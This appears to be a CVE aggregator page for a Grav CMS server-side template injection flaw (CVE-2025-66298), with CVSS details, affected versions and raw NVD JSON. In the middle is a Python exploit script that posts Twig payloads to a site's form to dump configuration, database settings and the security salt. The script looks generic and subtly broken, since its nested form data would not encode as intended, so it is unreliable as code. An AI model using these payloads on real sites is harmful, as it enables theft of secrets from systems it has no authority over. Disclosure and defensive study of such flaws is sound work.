Security Vulnerability Report
中文
CVE-2025-66298 CVSS 7.5 HIGH

CVE-2025-66298

Published: 2025-12-01 22:15:49
Last Modified: 2025-12-03 15:51:10

Description

Grav is a file-based Web platform. Prior to 1.8.0-beta.27, having a simple form on site can reveal the whole Grav configuration details (including plugin configuration details) by using the correct POST payload to exploit a Server-Side Template (SST) vulnerability. Sensitive information may be contained in the configuration details. This vulnerability is fixed in 1.8.0-beta.27.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:getgrav:grav:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:getgrav:grav:1.8.0:beta1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:getgrav:grav:1.8.0:beta10:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:getgrav:grav:1.8.0:beta11:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:getgrav:grav:1.8.0:beta12:*:*:*:*:*:* - VULNERABLE
Grav CMS < 1.8.0-beta.27

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2025-66298 PoC - Grav CMS SSTI Configuration Disclosure # Target: Grav CMS < 1.8.0-beta.27 target_url = "http://target-site.com/" # Replace with actual target # SSTI payload to extract configuration details # This payload exploits Twig template injection to access config objects ssti_payloads = [ # Basic config extraction "{{ config.toArray() }}", # System configuration "{{ config.system.toArray() }}", # Plugins configuration "{{ config.plugins.toArray() }}", # All configuration "{{ dump(config) }}", # Specific sensitive data "{{ config.system.database }}", "{{ config.security.salt }}", ] def exploit_grav_ssti(): """Exploit Grav CMS SSTI to disclose configuration""" # Target endpoint - typically a form page form_url = target_url + "form-page" # Identify the vulnerable form headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } results = [] for payload in ssti_payloads: # Prepare POST data with SSTI payload post_data = { "form": { "fields": { "name": payload } } } try: response = requests.post(form_url, data=post_data, headers=headers, timeout=10) # Check for configuration disclosure in response if "database" in response.text or "password" in response.text or "salt" in response.text: results.append({ "payload": payload, "status": "VULNERABLE", "config_leaked": True, "response_length": len(response.text) }) except requests.exceptions.RequestException as e: results.append({ "payload": payload, "status": f"ERROR: {str(e)}", "config_leaked": False }) return results if __name__ == "__main__": print("CVE-2025-66298 - Grav CMS SSTI Exploitation") print("Target:", target_url) print("-" * 50) results = exploit_grav_ssti() for result in results: print(json.dumps(result, indent=2))

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66298", "sourceIdentifier": "[email protected]", "published": "2025-12-01T22:15:49.103", "lastModified": "2025-12-03T15:51:09.710", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Grav is a file-based Web platform. Prior to 1.8.0-beta.27, having a simple form on site can reveal the whole Grav configuration details (including plugin configuration details) by using the correct POST payload to exploit a Server-Side Template (SST) vulnerability. Sensitive information may be contained in the configuration details. This vulnerability is fixed in 1.8.0-beta.27."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1336"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:getgrav:grav:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.8.0", "matchCriteriaId": "0F068841-DBCC-41D5-8B24-BFCE51841E2E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:getgrav:grav:1.8.0:beta1:*:*:*:*:*:*", "matchCriteriaId": "8A383F2E-C6BA-440B-B648-A3313B7D91C3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:getgrav:grav:1.8.0:beta10:*:*:*:*:*:*", "matchCriteriaId": "F7EF2DEC-2798-4D0D-9C27-0F01BAFEAEFD"}, {"vulnerable": true, "criteria": "cpe:2.3:a:getgrav:grav:1.8.0:beta11:*:*:*:*:*:*", "matchCriteriaId": "530C6F64-F30B-4E93-9A12-D9625EA57483"}, {"vulnerable": true, "criteria": "cpe:2.3:a:getgrav:grav:1.8.0:beta12:*:*:*:*:*:*", "matchCriteriaId": "9AC28BF9-626D-4514-91F0-F81DAB5D3602"}, {"vulnerable": true, "criteria": "cpe:2.3:a:getgrav:grav:1.8.0:beta13:*:*:*:*:*:*", "matchCriteriaId": "307AA375-E531-4AE5-BA79-2F9D4DE7A05F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:getgrav:grav:1.8.0:beta14:*:*:*:*:*:*", "matchCriteriaId": "C2E3E312-485D-42B0-B465-64B6438CDCAE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:getgrav:grav:1.8.0:beta15:*:*:*:*:*:*", "matchCriteriaId": "5BE4B2F9-1B6D-4D18-916A-5C95A3213222"}, {"vulnerable": true, "criteria": "cpe:2.3:a:getgrav:grav:1.8.0:beta16:*:*:*:*:*:*", "matchCriteriaId": "763207F0-92D1-4274-A30A-DE634C5852C3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:getgrav:grav:1.8.0:beta17:*:*:*:*:*:*", "matchCriteriaId": "1DE8F350-BA07-4DAA-AE4B-5E0A532B6828"}, {"vulnerable": true, "criteria": "cpe:2.3:a:getgrav:grav:1.8.0:beta18:*:*:*:*:*:*", "matchCriteriaId": "F9150B94-0DF3-43F3-9806-39787A6C0E4D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:getgrav:grav:1.8.0:beta19:*:*:*:*:*:*", "matchCriteriaId": "BAA7C7EC-8FB2-445D-8A02-1743D87F5416"}, {"vulnerable": true, "criteria": "cpe:2.3:a:getgrav:grav:1.8.0:beta2:*:*:*:*:*:*", "matchCriteriaId": "7A6BEA2A-D534-4C9E-811A-8A46E214C46D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:getgrav:grav:1.8.0:beta20:*:*:*:*:*:*", "matchCriteriaId": "7A644F57-FF39-4262-9796-7C4F3B0851C1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:getgrav:grav:1.8.0 ... (truncated)